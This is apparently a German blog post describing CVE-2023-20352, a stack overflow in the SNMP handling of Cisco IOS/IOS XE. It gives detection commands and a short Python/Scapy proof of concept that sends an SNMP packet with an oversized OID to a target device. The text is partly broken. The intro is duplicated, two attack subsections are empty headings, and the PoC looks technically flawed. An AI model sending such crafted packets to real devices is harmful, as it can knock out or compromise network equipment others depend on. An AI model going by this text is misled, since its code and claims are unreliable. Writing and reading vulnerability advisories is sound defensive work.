mrk336/snmpocalypse-cisco-bug-lets-hackers-crash-or-command-devices
CVE-2023-20352 ist ein kritischer Stack-Overflow-Fehler in der SNMP-Engine von Cisco IOS/IOS XE. Mit nur präparierten SNMP-Paketen können entfernte Angreifer Systeme zum Absturz bringen oder Root-Kontrolle erlangen. Alle SNMP-Versionen sind anfällig – patchen Sie jetzt oder riskieren Sie einen vollständigen Kompromiss.
CVE-2023-20352 ist ein kritischer Stack-Überlauf-Fehler in der SNMP-Engine von Cisco IOS/IOS XE. Mit nur präparierten SNMP-Paketen können entfernte Angreifer Systeme zum Absturz bringen oder die Root-Kontrolle übernehmen. Alle SNMP-Versionen sind betroffen – patchen Sie jetzt oder riskieren Sie eine vollständige Kompromittierung.
Von Mark Malllia
Das Simple Network Management Protocol (SNMP) ist ein grundlegendes Protokoll in der Netzwerkverwaltung, das Systemadministratoren die Überwachung, Konfiguration und Verwaltung von Netzwerkgeräten ermöglicht. Es arbeitet auf Port 161 (für SNMP-Anfragen) und Port 162 (für Traps). SNMP unterstützt drei Versionen: v1, v2c und v3, die jeweils unterschiedliche Sicherheitsstufen bieten. Das trifft mich persönlich, da meine Abschlussarbeit sich mit SNMP befasste und Cisco in meinem täglichen Arbeit eine feste Größe ist.
SNMP wird für Echtzeit-Überwachung, Bestandsverwaltung und Fehlererkennung in Netzwerken eingesetzt. Trotz seiner Bedeutung birgt die Rolle von SNMP in der Netzwerkverwaltung auch Sicherheitsrisiken, wenn es nicht ordnungsgemäß abgesichert ist, wie die Schwachstelle CVE-2023-20352 zeigt.
CVE-2023-20352 ist ein schwerwiegender Stack-basierter Pufferüberlauf-Fehler, der Cisco IOS- und IOS XE-Geräte betrifft. Er befindet sich im SNMP-Subsystem, das den Netzwerkverwaltungsverkehr verarbeitet.
Technische Details:
Die Schwachstelle wird durch präparierte SNMP-Pakete ausgelöst, die an ein anfälliges Gerät gesendet werden, was zu einer fehlerhaften Bereichsprüfung und einem Stack-Überlauf führt. Alle SNMP-Versionen sind betroffen.
Angriff mit niedrigen Privilegien:
Angriff mit hohen Privilegien:
Zur Erkennung von Schwachstellen können Administratoren die folgenden CLI-Befehle verwenden:
show running-config | include snmp-server community
show running-config | include snmp-server group
show snmp
snmp-server view <view-name> <OID> excluded.Ein konzeptioneller PoC mit Python und Scapy zeigt die Ausnutzbarkeit:
from scapy.all import *
# Ziel-IP und SNMP-Community-String ersetzen
target_ip = "192.168.1.1"
community = "public"
# Bösartiges Paket erstellen
payload = b"A" * 1024 # Pufferüberlauf
packet = IP(dst=target_ip)/UDP(dport=161)/SNMP(community=community, PDU=SNMPget(varbindlist=[SNMPvarbind(oid=payload)]))
send(packet)
Hinweis: Dies ist ein vereinfachtes Beispiel. Eine tatsächliche Ausnutzung erfordert präzise Nutzlast-Erstellung und Privilegienausweitung.
Die Schwachstelle CVE-2023-20352 unterstreicht die entscheidende Rolle von SNMP und die damit verbundenen Risiken. Organisationen müssen die Patch-Installation und die Absicherung von SNMP-Konfigurationen priorisieren, um Bedrohungen zu entschärfen und die Netzwerkresilienz gegen neue Angriffe zu gewährleisten.